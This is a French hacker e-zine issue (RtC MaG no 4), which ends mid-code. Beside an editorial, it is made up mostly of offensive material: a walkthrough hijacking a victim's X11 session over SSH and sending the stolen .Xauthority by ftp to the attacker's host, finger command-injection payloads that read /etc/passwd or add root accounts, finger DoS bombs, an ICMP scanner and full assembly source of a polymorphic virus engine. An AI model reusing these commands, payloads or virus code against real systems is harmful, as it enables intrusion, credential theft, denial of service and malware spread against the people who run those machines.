Copy Link
Add to Bookmark
Report
RtC MaG no 4
RtC MaG no 4
******************************************************************************
******************************************************************************
_____________________________
| | | ______| Call us: Par4noID, SnEaKie
| ___|___ ___| | SLy, S/asH,
| |\ \ | | | |_____ Androgyne, MoRPhEe
|_| \__\ |___| |_________| http://www.rtc.fr.st
******************************************************************************
******************************************************************************
DISCLAIMER:
LES AUTEURS NE PEUVENT EN AUCUN CAS ETRE TENUS RESPONSABLES DE L'UTILISATION
FRAUDULEUSE DE CE DOCUMENT.CELUI-CI A EN EFFET ETE CREE DANS LE SOUCI DE
PERMETTRE UNE MEILLEURE CONNAISSANCE DES SYSTEMES INFORMATIQUES ET NON DANS UN
BUT DESTRUCTEUR , ILLEGAL, ET SURTOUT IMMORAL.
LES AUTEURS DECLINENT AINSI TOUTE RESPONSABILITE QUANT A L'UTILISATION
ILLEGALE DES INFORMATIONS FOURNIES CI DESSOUS.
--------------------------------{ www.rtc.fr.st }------------------------------
E-Mails :
RtC : rtc@fr.st = rtcgang@yahoo.fr
Par4noiD : rtcparanoid@yahoo.fr
SnEaKie : rtcsneakie@yahoo.fr
SLy : rtcsly@yahoo.fr
AndroGyne : rtcandrogyne@yahoo.fr
S/asH : sl4sh@ifrance.com
MoRPhEe : rtcmorphee@yahoo.fr
--------------------------------{ www.rtc.fr.st }------------------------------
[EDITO]
Ca y est, depuis 10 mois nous sommes en l'an 2000, dans 2 mois, le nouveau
millénaire. Et que voit-on ? Le monde n'a pas changé, toujours aussi violent.
On voit en Algérie que la guerilla continue : des violences justifiées
uniquement par une interprétation extrémiste d'un livre dont le mot d'ordre est
la paix.
On voit qu'en Irlande la guerre n'est pas fini. Tous ceci pour une différence de
culture et de religion ; religions qui pourtant condamne la violence.
Mais il y a pire... Car dans ces deux pays la majorité condamne cette violence
tous comme au pays basque où les attentats pourrissent la vie de la majorité.
En effet le pire est par exemple, en ce jours où l'on apprends que juifs et
musulmans sont près à repartir à la guerre pour un différent de religion.
Les juifs ont-ils déjà oublié la Shoah ? Les musulmans qui sont près à partir
dans cette guerre ont-ils lu le Coran ? Ce n'est pas le Djihad, juste une guerre
stupide entre deux peuples qui feraient mieux d'apprendre à se connaitre.
Pourquoi cette guerre est-elle sur le point de repartir ? Parce-que les
dirigeants de ce pays ne peuvent pas, chacun de leurs côtés, faire des
concessions à l'autre, sous risque de ce voir assassiner ou renverser et ces
accords suspendus.
D'autres violences ont lieux, un peu partout dans le monde, pour un peu de
pouvoir ou simplement de liberté...
Vous vous rappelez de ce kidnapping qui a eu lieu en juillet, il pour moi moins
grave que les autres faits, non pas que je ne le condamne pas, mais d'une part
les kidnappeurs essaient que la dignité et la santé physique des kidnappés
soient préservés mais aussi parce qu'elle part d'une plus noble intention qui
est leur liberté. Pourquoi la communauté internationnale les condamne ? Tous
simplement parce que cela touche directement les pays du G8.
Une autres violence est faite par les employés de l'usine qui a fermé en
polluant purement et simplement cette planète. Ils ne veulent pas être traité de
terroriste mais de quel droit agressent-ils la planète qui les fait vivre ?
Bien entendu, je comprends leur geste mais ils auraient dû réfléchir avant de
commettre cette action. En réalité, je ne leur en veut pas, celui que je condamne
est l'état qui les a traités comme des sous-êtres en leur refusant purement et
simplement le droit à une existence décente. Les actions des employés sont plus
une maladresse qu'un réel acte d'agression.
En attendant, alors que ces actions se déroulent pas très loin de chez nous, que
l'état adopte un comportement de chacun pour soi. Ils votent des lois condamnant
les hébergeurs internet et s'empressent de mettre main basse sur le réseau.
Et, pendant que les sites à caractère raciste ou pédophile pourrissent
l'internet, des hackers sont condamner pour le délit de connaissance.
Vous nous condamnez car l'on existe sans loi ni frontière, sans couleurs de peau
ni religion, parce que l'on ne jugent pas une personne par la position sociale ou
sa généalogie mais par son esprit et ses actes.
Mais croyez-vous réellement que l'introduction dans un système soit plus grave que
ces gens à peine condamnés qui polluent, tuent ou détruisent ? Oh, bien sur, vous
répondrez que nous détruisons, nous aussi lorsque nous crashons un site... Mais
dans ce cas vous vous trompez d'interlocuteur. En effet, ce ne sont pas les
hackers qui réalisent ces crashs, ce sont seulement des lamers en mal de
pouvoir. Nous n'encourageons pas ce genre de comportement et le condamnons même
(sauf quand le site attaqué porte atteinte à l'intégrité de l'Homme).
Ainsi vous pouvez nous condamnez, dire que nous sommes des criminels ; mais en
attendant, nous avons, pour notre part, notre âme en paix : chose que tout le
monde ne peut pas prétendre.
S/asH (sl4sh@ifrance.com)
----------------------------------Sommaire.c----------------------------------
{
1/ CrashDuke = Redoxx ? A DEGAGER!!! ALL the RTC
2/ Hacker SSH et X11 Par4noID
3/ Hacking Finger in The NoSe SLy
4/ Le scanning ICMP echo S/asH
5/ Polymorphisme engine Androgyne
6/ SpyPorT vBeta Par4noID && SLy
7/ Faille CuteFtp Recursiver (Guest)
8/ Le SYN/ACK smurf S/asH
9/ La bOmb infO du mAg Androgyne
10/ Polymorphisme vbs: suite et fin SLy
11/ SYNscanning S/asH
12/ Le routage dynamique SnEaKiE
13/ RTClist Androgyne
14/ Le SofTcracking S/asH
15/ Genetical K-Os Androgyne
16/ IRCbot: PART II S/asH
17/ PitBull Antivirus Androgyne
}
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
Pourquoi CrashDuke s'est-il fait viré ?
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
Cf le niveau de ses mags Revolutions. (www.redoxx.fr.st).
S/asH s'exprime :
# find ./ - * | grep ["Redoxx"-"CrashDuke"] | rm -rf
All the RTC
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
HACK SSH et X11
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
********* SSH et X11
a/ Je pense qu'il n'ait plus besoin de présenter SSH (secure shell) qui donne un classique remote shell securise (nous allons voir que tout est relatif). Le grand principe de ssh est de permettre une communication protégée (dans le sens ou elle est cryptée) qui évite de lacher les login/pass au premier sniffer venu (grand defaut de rlogin ou telnet).
b/ Je pense ne pas avoir besoin non plus de rappeler le principe du serveur graphique X11 (sinon j crois qu'il y a un bon article de cod4 la dessus dans norouteX). Rappelons juste en gros les diverses méthodes d'identification de ce serveur:
* xhost: le serveur X11 possede une liste de controle d'acces, liste d'IP des ordinateurs ayant le droit de se connecter. Vous allez me dire "on va tout droit vers le spoof". Détrompez-vous! En general un acces xhost nous permet tout au plus d'afficher les sorties-ecran de nos process sur l'ecran de la victime (par un simple export DISPLAY=victim.com): Ca peut en faire rire certains mais niveau hack c pas vraiment le pied ;) (a part pour les capture d'ecran avec xwd).
* .Xauthority: les autres types d'identification repose sur les infos de ce fichier. Si vous possedez celles-ci, vous pouvez devenir client du serveur X11 de la victime; et cette fois-ci "un vrai client". J'entend par la que si vous possedez ce fichier vous partagez l'ecran de victime (avec tout ce que ca implique ;) ).
Vous l'aurez sans doute compris; notre but va être de recuperer ce fichier .Xauthority.
c/ Quel rapport existe-t-il en ssh et X11 ?
C'est probablement la question que vous vous posez. Eh bien, la réponse est plutot simple. Pour sécuriser la connection, ssh va "proteger" la transmission des infos X. Ainsi ssh va cree ce que l'on nomme un secure channel non seulement pour vos echanges de donnees mais aussi pour les echanges de données X.
Comment ca marche?
Vous lancez votre client ssh et vous voulez vous connecter à un serveur ssh quelconque.
1. le client ssh recupere les infos de votre .Xauthority pour pouvoir communiquer avec votre serveur X.
----------------
| serveur X |
| |
| |
| |
| client ssh |
|_______________|
votre machine
2. Votre client ssh genere une valeur au hasard et l'envoie au serveur ssh.
---------------- -----------------
| serveur X | | client X |
| | | |
| | ------random valeur X-------> | |
| | | |
| client ssh | | serveur ssh |
|_______________| |________________|
votre machine la machine qui fait tourner sshd
3. Le serveur ssh cree un X proxy à partir de ces infos. Puis le serveur ssh associe cette valeur à un nombre affecté à une variable DISPLAY en placant cette valeur dans le .Xauthority (de la machine qui fait tourner sshd)
---------------- -----------------
| serveur X | | client X |
| | | |
| | | |
| | | X proxy |
| client ssh | | serveur ssh |
|_______________| |________________|
votre machine la machine qui fait tourner sshd
4. La communication peut alors avoir lieu entre client/serveur X via le chemin suivant:
---------------- -----------------
| serveur X | | client X |
| ^ | | ^ |
| | | | | |
| | | channel ssh securise | X proxy |
| client ssh |--------------------------------|---serveur ssh |
|_______________| |________________|
votre machine la machine qui fait tourner sshd
Quand le client X démarre, il observe la valeur de DISPLAY et se connecte au X proxy. Il extrait alors la valeur correspondante au display du .Xauthority et la présente au proxy. Ce dernier envoie alors l'authentificateur au client ssh qui fait la transcription et redirige le résultat sur le serveurX.
********* Bon, bon, bon : maintenant la prHAtiCK.
On se place en situation d'attaque. Vous venez de prendre le controle d'une machine distante nommé Xproxy (en root) mais elle ne vous suffit pas.
root@Xproxy# more /etc/inetd.conf
...
sshd .....
...
Yeah, elle fait tourner sshd. Bien c parti...
On note la valeur du display.
root@Xproxy# echo $DISPLAY
Xproxy:4.0
On regarde si par hasard quelqu'un d'autre ne serait pas connecter.
root@Xproxy# who
Bon personne... On attend
root@Xproxy# who
victim p2 victim.dommage.org 6:24PM
Tiens si... Quelqu'un vient de se connecter: la valeur de son DISPLAY est donc de 5. On chope le .Xauthority lui correspondant.
root#xauth -f (home directory de victim)/.Xauthority extract ~/file proxy:5.0
bien reste à se l'envoyer sur sa machine
root@Xproxy# ftp Par4noID
Connected to Par4noID
220 RTC FTPserver ready.
Name: RTC
331 Password required for HackersGroup
...
root@Xproxy# exit
Par4noID@localhost# xauth merge file
Par4noID@localhost# xkey Xproxy.org:5.0
et voila un joli shell....
Problem que pose cette technique: si victim se deconnecte elle obtiendra:
The following connections are open:
X11 connection from Par4noID.le.hacker port X.
Conclusion: Faites vite ou passer par un autre shell.
EOF/ File from Par4noID
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
HACKing finger in the nose
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
Cette série d'articles va expliquer toute l'utilité et les failles de finger.
Cet article est destiné à tous ceux qui n'aurait toujours pas compris à quoi sert finger. Puis pour les failles avec finger, ca s'dresse à tous ceux que ca intéressent.
I RAPPEL :
a) Le service 'finger' donne des informations utiles , puisqu'il permet d'obtenir des noms d'utilisateurs,(qqq fois avec leur mail ou leur numéro de téléphone et des infos complémentaire), de déterminer si une machine est en train d'etre utilisée, etc...
en vu de cracker les pass ou de faire du SE.
b) Je tape "finger @victime" et voici mon écran :
[root@localhost /root]# finger @victime
[victime]
Login Name Tty Idle Login Time Office Office Phone
root root *1 38 Jun 20 13:12
root root *p0 Jun 20 13:50
root root *p1 Jun 20 13:37
root root *p2 1 Jun 20 13:38
Donc la on voit qu'il y a 4 "root". Ca veut pas dire qu'il y a 4 root connecté à la machine. Ca veut dire qu'il y par exemple 1 personne root sur victime et qui a lancé un éditeur de texte et 2 autre xterm (la c'était le cas). De plus on peut voir depuis combien de temps ils sont là (y a un qui est la depuis le 20 juin
à 13:12)
c) Je tape ensuite "finger -l @victime" ce qui équivaut ici à "finger root@victime". Voici mon écran :
[root@localhost /root]# finger -l @victime
[victime]
Login: root Name: root
Directory: /root Shell: /bin/bash
On since Tue Jun 20 13:12 (CEST) on tty1 43 minutes 49 seconds idle
(messages off)
On since Tue Jun 20 13:50 (CEST) on ttyp0 (messages off)
On since Tue Jun 20 13:37 (CEST) on ttyp1 6 minutes 15 seconds idle
(messages off)
On since Tue Jun 20 13:38 (CEST) on ttyp2 7 minutes 7 seconds idle
(messages off)
No mail.
No Plan.
On voit donc les même informations qu'avant plus d'autres (qui peuvent être utile pour connaître sa victime):
- depuis combien de temps les tty** n'ont pas été touché (par exemple depuis 43 minutes et 49 seconds pour le tty1)
(Remarque : y a pas de temps pour tty0 car c'est un fenêtre où la victime tape des commandes ou du texte,...)
- Son nom, où il commence et où est son bash
- un mail (c pas souvent qu'on en voit)
- des autres choses dans plan du genre :
Plan :
John Smith
Telnet password is my birthday
d) Dans "finger root@victime", je peux remplacer root par un autre utilisateur pour avoir des info sur lui. Je tape donc dans mon xterm "finger essai@victime" :
[root@localhost /root]# finger essai@victime
[victime]
finger: essai: no such user.
Ah ouais, c'est vrai l'utilisateur essai n'existe pas sur la machine victime.
Je remplace donc "essai" par bin et j'obtiens ça :
[root@localhost /root]# finger bin@victime
[victime]
Login: bin Name: bin
Directory: /bin Shell: /bin/sh
Never logged in.
No mail.
No Plan.
Maintenant j'essais avec "cool" :
[root@localhost /root]# finger cool@victime
[victime]
Login: cool Name: cool
Directory: / Shell: /bin/bash
Last login Sun Jun 18 14:41 (CEST) on ttyp1 from localhost
No mail.
No Plan.
J'en déduis donc qu'il y a bien un utilisateur cool sur la machine d'en face. Je peux donc essayé de cracker la pass puisque que j'ai un login .
II Les FAILLES :
Bien sûr que finger a des failles qui marche en général que sur des versions anciennes:
- finger redirection (Niveau de risque pour victime : Faible) + DoS
- Cfinger search.**@host (Niveau de risque pour victime : Faible/Moyen)
- finger dot at host (Niveau de risque pour victime : Moyen)
- finger zero at host (Niveau de risque pour victime : Moyen)
- in.fingerd |commandes@host bug (Niveau de risque pour victime : Elevé :)
- finger bomb
++++++++++++++++++++++++++++++++++++++++++++++++
Redirection de finger grâce à fingerd :
Système cible potentiel : Solaris 2.5.1/2.6 , SunOS 4.1.4, IRIX 5.3
Quelques daemons de finger permettent de faire suivre la requête finger à d'autres sites éloignés. C'est à dire que les utilisateurs peuvent faire des requêtes du type :
finger username@hostA@hostB
La requête finger passera par hostB pour aller vers hostA. Cela sert à couvrir nos traces parce qu'HostA verra qu'il a recu une requête finger venant d'HostB au
lieu du service original.
Cette technique peut être utilisé pour passer au-travers d'un firewall s'ils ne sont pas correctement configurés. Cela peut arriver par finger user@host@firewall.
Aussi si le daemon finger d'un site vous permet de faire ceci, il y a ptit DoS à faire (d'ailleurs très simple à comprendre):
finger @host@host@host@host@host@host[...]@host@host@host
++++++++++++++++++++++++++++++++++++++++++++++++
Cfinger search.*@host :
Système cible potentiel : les systèmes qui ont cfinger 1.2.2 ou 1.3.2
Il y a un bug dans le daemon cfinger qui permet à n'importe qui d'obtenir
la liste des utilisateurs du système en faisant la commande :
- Si ils ont cfinger 1.2.2, il faut taper :
finger search.*@victime
- Si ils ont cfinger 1.3.2, il faut taper :
finger search.**@victime
Cette information a beaucoup d'interêt, parcequ'avec elle, on a la liste des utilisateurs, et on n'a plus qu'à cracker un des mots de passe par force brute en utilisant un autre service (telnet, ftp...)
++++++++++++++++++++++++++++++++++++++++++++++++
finger dot at host :
Il y a un bug dans le service finger qui lui fait afficher la liste des comptes qui n'ont jamais été utilisés, quand quelqu'un fait la requète :
finger .@victime
Cette liste va permettre de deviner le type de système d'exploitation de la victime. Il va aussi dire quels comptes n'ont jamais été utilisés, ce qui nous fera souvent nous concentrer sur ceux-ci.
++++++++++++++++++++++++++++++++++++++++++++++++
finger zero at host :
Il y a un bug dans le service finger qui lui fait afficher la liste des comptes qui n'ont jamais été utilisés, quand quelqu'un fait la requête :
finger 0@victime
Ca sert donc à la même chose qu'avant
++++++++++++++++++++++++++++++++++++++++++++++++
in.fingerd |commandes@host bug :
Le daemon finger qui expédie avec dgux permettra à un utilisateur éloigné d'éxecuter des commandes ,souvent avec l'uid root ou bin. Le daemon finger permet à n'importe qui d'executer des commandes en tant que root, en faisant des requêtes telles que :
finger |commandes_à_executer@cible
Coooooool!!!!!! Vous pouvez faire comme commandes "|/bin/cat /etc/passwd\n" si vous n'avez pas d'autres idées mais en y réfléchissant un peu plus, vous vous rajouter un compte root sans pass, xhost + (pendant que vous y êtes). C'est la fin de tout!!!!
Y a plusieurs façon pour voir si ça marche :
1) essayer
2) Taper finger /W@host et
si vous recevez un truc comme ça le système peut être vulnérable :
Login name: /W In real life: ???
Donc pour voir l'uid de in.fingerd qui est exécuté sur la machine d'en face, essayer :
finger "|/bin/id@host"
et espérer qu'il y a ça qui apparraissent
uid=0(root) gid=0(root)
ou
uid=2(bin) gid=2(bin) groups=2(bin),3(sys),5(mail)
++++++++++++++++++++++++++++++++++++++++++++++++
Finger Bomb :
Système cible potentiel : SunOS 4.1.4
Un DoS peut arriver quand une personne tape :
finger username@@@@@@@@@@@@@@@@@[...]@@@@hostA
Le @ répétées avec finger peut conduire le daemon finger à se répéter récursivement sur la même machine (hostA) jusqu'à ce que la machine plante ou ralentit à des vitesses inutilisables.
SLy
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
Le Scanning d'IP par requête ICMP Echo
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
L'ICMP Echo
-----------
L'ICMP (Internet Control Message Protocol) permet d'envoyer des messages de
contrôles (notamment lorsqu'une route est fermée il nous le dit).
Je pourrais m'étendre plus avant ici sur le protocole ICMP mais ce n'est pas le
sujet de plus il y a de très bon articles dessus (notamment celui de feu CoD4
dans NoRoute 3).
Je vais simplement expliquer ici le message echo et echo reply.
0 7|8 15|16 31
|------------------------------------------------------------------------------|
| type (0 ou 8) | code (0) | checksum |
|------------------------------------------------------------------------------|
| identificateur | numéro de séquence |
|------------------------------------------------------------------------------|
| données optionnelles (s'il y en a) |
|------------------------------------------------------------------------------|
Donc un message ICMP Echo request est identifié par le type 8 et le code 0.
L'identificateur est là pour identifier l'échange echo et le numéro de séquence
pour dire à quel paquet on est (c'est le champ icmp_seq lors d'un ping).
A un message echo est normalement renvoyé un message echo reply identifié par le
type 0 et le code 0 avec les mêmes champs que le message echo (numéro
d'identification et de séquence).
Faire de l'ip scanning par message ICMP Echo
--------------------------------------------
Le principe est simple pour chaque ip on envoie un paquet echo et on attend
un paquet echo reply avec les mêmes champs.
On récupèrera un paquet icmp unreacheable (destination indisponible) si l'hôte
n'existe pas et un time out s'il est indisponible.
Ainsi on peut scanner une série d'ip assez rapidement.
Voilà le code des fonctions réalisant le ping dans l'IP-scan de la RtC :
(le code entier est dispo sur le site de la RtC TecH)
PS : au fait, pour ceux que cela interresse, j'ai intégré bd.c dans le prog ping
(IDEM que le code de l'IP-Scan).
<-- begin icmpping.c -->
/******************************************************************************
* icmpping.c by S/asH (member of RtC) *
* IP Scanning - ICMP Ping Request *
* This is a tOOl of RtC TecH *
******************************************************************************/
#include "rtcipscan.h"
/******************************************************************************
* in_chksum -- *
* Checksum routine for Internet Protocol family headers (C Version) *
******************************************************************************/
unsigned short in_chksum(addr, len)
u_short *addr;
int len;
{
register int nleft = len;
register u_short *w = addr;
register int sum = 0;
u_short answer = 0;
/*
* Our algorithm is simple, using a 32 bit accumulator (sum), we add
* sequential 16 bit words to it, and at the end, fold back all the
* carry bits from the top 16 bits into the lower 16 bits.
*/
while (nleft > 1) {
sum += *w++;
nleft -= 2;
}
/* mop up an odd byte, if necessary */
if (nleft == 1) {
*(u_char *)(&answer) = *(u_char *)w ;
sum += answer;
}
/* add back carry outs from top 16 bits to low 16 bits */
sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
sum += (sum >> 16); /* add carry */
answer = ~sum; /* truncate to 16 bits */
return(answer);
}
/******************************************************************************
* send_icmp_echo -- Send an icmp echo request *
* Input : sock : socket descriptor *
* dest : destination address *
* ident : icmp ident *
* seq_nb : icmp sequence number *
* data : optional data *
* sdata : size of data *
* Output : return : success or failed *
******************************************************************************/
int send_icmp_echo(int sock, struct sockaddr_in dest, u_short ident, u_short seq_nb, char *data, int sdata)
{
char packet[2048];
struct icmphdr *icmp = (struct icmphdr*)packet;
unsigned char *datagram = (unsigned char*)(packet + 8);
/* making the icmp header */
memcpy(datagram, data, sdata);
memset(packet, 0, 8);
icmp->type = ICMP_ECHO;
icmp->code = 0;
icmp->un.echo.id = ident;
icmp->un.echo.sequence = seq_nb;
/* calculate the checksum */
icmp->checksum = in_chksum((u_short*)packet, sdata+8);
return sendto(sock, packet, 8+sdata, 0, (struct sockaddr*)&dest, sizeof(struct sockaddr));
}
/******************************************************************************
* ping -- Send an icmp echo request and stand the reply *
* Input : sock : socket descriptor *
* dest : destination address *
* timeout : time out for echo request *
* packsize : size of packet to send *
* ident : icmp ident *
* seq_nb : icmp sequence number *
* Output : return : see section 'ping return values' in rtcipscan.h *
******************************************************************************/
int ping(int sock, struct sockaddr_in dest, int timeout, int packsize, u_short ident, u_short seq_nb)
{
int rc;
fd_set rset;
struct timeval cur_time, beg_time, tv;
char buf[2048];
struct iphdr *ip = (struct iphdr *) (buf);
struct icmphdr *icmp = (struct icmphdr*)(buf + sizeof(struct iphdr));
for(rc=0; rc<packsize-8; rc++) buf[rc] = rc; /* initialize packets */
/* sending a ICMP echo request */
gettimeofday(&beg_time,NULL);
send_icmp_echo(sock,dest,ident,seq_nb, buf, packsize-8);
tv.tv_sec = timeout / 1000;
tv.tv_usec = timeout * 1000;
/* check for reply */
FD_ZERO(&rset);
FD_SET(sock, &rset);
tv.tv_sec = timeout / 1000;
tv.tv_usec = timeout * 1000;
gettimeofday(&cur_time,NULL);
while(timeout > DIFFTIME(beg_time, cur_time))
{
if ((rc=select(sock + 1, &rset, NULL, NULL, &tv)) == 0)
return HOST_TIMEDOUT; /* time out */
else if (rc < 0) return PING_ERROR;
else
{
rc = read(sock,buf,2048);
if(rc==-1) return PING_ERROR; /* error in reading */
else if(rc>0)
{
if (ip->saddr == dest.sin_addr.s_addr) /* got a reply */
{
if((icmp->type == ICMP_ECHOREPLY) && (icmp->un.echo.id == ident) && (icmp->un.echo.sequence == seq_nb))
return HOST_ANSWER;
}
else if(icmp->type == ICMP_DEST_UNREACH) return HOST_UNREACHABLE;
gettimeofday(&cur_time, NULL);
}
}
}
return HOST_TIMEDOUT; /* time out */
}
<-- end icmpping.c -->
<-- File by S/asH -->
[EOF]
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
Polymorphisme Engine by Androgyne
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
;Le code qui suit est le code du moteur de polymorphisme du projet K-oS
.model tiny
.code
public Polymorphism
extrn Get_Random:near
;/***************************************************************************
; Procédures de cryptage/décryptage/polymorphisme
;/***************************************************************************
;
;
;
;<<<< Polymorphism >>>> : routine principale (c'est elle qui coordonne tout)
; entrée:
; ds:si=source du code à encoder
; es:di=adresse de l'espace de travail
; cx=taille du code à encoder
; dx=adresse du début de la partie cryptée du virus dans le nouvel hôte
; sortie:
; aucune
Polymorphism proc near
push ax
push bx
push cx
push dx
push bp
call Get@P
Get@P:
pop bp ;le décalage dû à l'adressage relatif
sub bp,offset Get@P ;est dans bp
call Initialize
mov cx,[bp + decrypt_size]
call Gen_decrypt_routine
call Encrypt_code
pop bp
pop dx
pop cx
pop bx
pop ax
ret
Polymorphism endp
;<<<< Initialize >>>>
; entrée:
; cx=taille du code à encoder/décoder
; dx=adresse du début de la partie cryptée du virus dans le nouvel hôte
; sortie:
; les buffers suivants sont mis à jour
; -key1 : contient la clé de codage primaire
; -key2 : contient la clé de codage secondaire
; -size : contient la taille du virus
; -decrypt_size : contient la taille de la routine de décryptage
; -start_add : contient l'adresse de début du décryptage (pour initialiser si et di)
; ainsi que les zones de fabrication de la routine de décryptage correspondante
Initialize:
mov word ptr [bp + virus_size],cx ;la taille (buffer)
mov word ptr [bp + virus_size@],cx ;la taille (décryptage)
mov ax,0FFFFh
call Get_random
mov byte ptr [bp + key1],al ;la clé primaire (buffer)
mov byte ptr [bp + key2],ah ;la clé secondaire (buffer)
mov byte ptr [bp + key1@],al ;la clé primaire (décryptage)
mov byte ptr [bp + key2@],ah ;la clé secondaire (décryptage)
mov ax,0040h
call Get_random
add ax,0060h
mov word ptr [bp + decrypt_size],ax
add dx,ax
dec dx ;je ne sais pas d'où ça vient
mov word ptr [bp + start_add],dx ;l'adresse de départ (buffer)
mov word ptr [bp + start_add1@],dx ;l'adresse de départ si (décryptage)
mov word ptr [bp + start_add2@],dx ;l'adresse de départ di (décryptage)
ret
key1 db 0
key2 db 0
virus_size dw 0
decrypt_size dw 0
start_add dw 0 ;pour initialiser si et di
;<<<< Encrypt_code >>>>
; entrée:
; ds:si=source du code à encoder
; es:di=adresse de l'espace de travail
; sortie:
; aucune
Encrypt_code:
mov cx,[bp + virus_size]
mov dl,[bp + key1]
mov dh,[bp + key2]
Crypt_loop:
lodsb
xor al,dl
add dl,dh
stosb
loop Crypt_loop
ret
;<<<< Gen_decrypt_routine >>>>
; entrée:
; cx=nombre d'octets disponibles total
; es:di=destination du code de la routine
; sortie:
; aucune
Gen_decrypt_routine:
sub cx,22 ;nbr d'octets de la routine elle même
mov word ptr [bp + Bytes_left],cx
mov cx,0Ah
call Gen_code
; "mov cx,size" = [B9****]
mov al,0B9h
stosb
virus_size@ equ $+1
mov ax,0
stosw
mov cx,09h
call Gen_code
; "mov si,start_add" = [BE****]
mov al,0BEh
stosb
start_add1@ equ $+1
mov ax,0
stosw
mov cx,08h
call Gen_code
; "mov di,start_add" = [BF****]
mov al,0BFh
stosb
start_add2@ equ $+1
mov ax,0
stosw
mov cx,07h
call Gen_code
; "mov dl,key1" = [B2**]
mov al,0B2h
stosb
key1@ equ $+1
mov al,0
stosb
mov cx,06h
call Gen_code
; "mov dh,key2" = [B6**]
mov al,0B6h
stosb
key2@ equ $+1
mov al,0
stosb
mov cx,05h
call Gen_code
;Decrypt_loop:
push di ;on conserve l'adresse pour le loop
; "lodsb" = [AC]
mov al,0ACh
stosb
mov cx,08h
call Gen_code
; "xor al,dl" = [32C2]
mov al,32h
stosb
mov al,0C2h
stosb
mov cx,08h
call Gen_code
; "add dl,dh" = [02D6]
mov al,02h
stosb
mov al,0D6h
stosb
mov cx,03h
call Gen_code
; "stosb" = [AA]
mov al,0AAh
stosb
mov cx,03h
call Gen_code
; "loop Decrypt_loop" [E2**]
mov al,0E2h
stosb
pop cx
sub cx,di
sub cx,01h
mov al,cl
stosb
mov cx,00h
call Gen_code
ret
Bytes_left dw 0
;/***************************************************************************
; Générateur de code aléatoire
;/***************************************************************************
;
;entrée:
; es:di=adresse de l'espace de travail
; cx=nombres d'appels restants
;sortie:
; aucune
;
Gen_Code:
push ax
push bx
push cx
push dx
or cx,cx
jz Use_all
mov ax,[bp + Bytes_left]
xor dx,dx
div cx
call Get_random
mov cx,ax
sub word ptr [bp + Bytes_left],cx
jmp Gen_label
Use_all:
mov cx,[Bytes_left + bp]
sub word ptr [bp + Bytes_left],cx
Gen_label:
cmp cx,2
mov ax,4
jz Rand_instr
cmp cx,1
jz Wri_final_nop
cmp cx,0
jz Next0
mov ax,9
Rand_instr:
call Get_Random
mov bx, offset Instr_Add
add bx,ax
add bx,ax
add bx,bp
call cs:[bx]
jmp Gen_label
Next0:
pop dx
pop bx
pop cx
pop ax
ret
Instr_Add dw offset Wri_pp
dw offset Wri_mov
dw offset Wri_nop
dw offset Wri_xchg
dw offset Wri_or1
dw offset Wri_and1
dw offset Wri_or2
dw offset Wri_and2
dw offset Wri_cmp
Get_Reg:
mov ax,8
call Get_Random
ret
Wri_final_nop:
call Wri_nop
jmp Next0
Wri_final_instr:
Wri_pp:
call Get_Reg
push ax
add al,50h
stosb
dec cx
pop ax
add al,58h
stosb
dec cx
ret
Wri_mov:
mov al,89h
stosb
dec cx
call Get_Reg
push bx
mov bx,9
mul bx
pop bx
add al,0c0h
stosb
dec cx
ret
Wri_nop:
mov al,90h
stosb
dec cx
ret
Wri_xchg:
mov al,87h
stosb
dec cx
call Get_Reg
push bx
mov bx,9
mul bx
pop bx
add al,0c0h
stosb
dec cx
ret
Wri_or1:
mov al,0Bh
stosb
dec cx
call Get_Reg
push bx
mov bx,9
mul bx
pop bx
add al,0c0h
stosb
dec cx
ret
Wri_and1:
mov al,23h
stosb
dec cx
call Get_Reg
push bx
mov bx,9
mul bx
pop bx
add al,0c0h
stosb
dec cx
ret
Wri_or2:
mov al,83h
stosb
dec cx
call Get_Reg
add al,0c8h
stosb
dec cx
mov al,00h
stosb
dec cx
ret
Wri_and2:
mov al,83h
stosb
dec cx
call Get_Reg
add al,0E0h
stosb
dec cx
mov al,0FFh
stosb
dec cx
ret
Wri_cmp:
mov al,83h
stosb
dec cx
call Get_Reg
add al,0F8h
stosb
dec cx
mov ax,100h
call Get_Random
stosb
dec cx
ret
end_msg db 'Polymorphism engine by Androgyne from RTCG4ng$'
Engine_End:
end Polymorphism
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
SpyPort vBeta
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
Le code source de ce prog est à lier avec le module winsockdefs2.bas fourni avec le mAg.
On attaque le codage (bon on vous donne pas toutes les carac des contrôles, je pense qu'au vue du prog vous pouvez les devinez).
************************************Form1**************************************
Public Port
Public Wbox
Public FichDest As String
Private Sub Command1_Click()
Probcl
End Sub
Private Sub Command2_Click()
Form2.Show
End Sub
Private Sub Command3_Click()
Dim Nom, Contenu As String
Dim Nombre, i, Nb
CommonDialog1.ShowSave
Nom = CommonDialog1.filename
If Nom = "" Then MsgBox "Vous devez choisir un nom de fichier", vbCritical, "ERREUR": Exit Sub
Nb = FreeFile
Open Nom For Append As Nb
Nombre = Form1.List1.ListCount
For i = 0 To Nombre
Contenu = Form1.List1.List(i)
Print #Nb, Contenu
Next i
Close #Nb
End Sub
Private Sub Form_Load()
Port = "20"
Wbox = True
End Sub
Private Sub serv_Click()
Form4.Show
End Sub
Private Sub Us_Click()
Form3.Show
End Sub
************************************Form2**************************************
Private Sub Check2_Click()
If Check2.Value = 1 Then
CommonDialog1.ShowSave
Form1.FichDest = CommonDialog1.filename
End If
End Sub
Private Sub Command1_Click()
Unload Form2
End Sub
Private Sub Command2_Click()
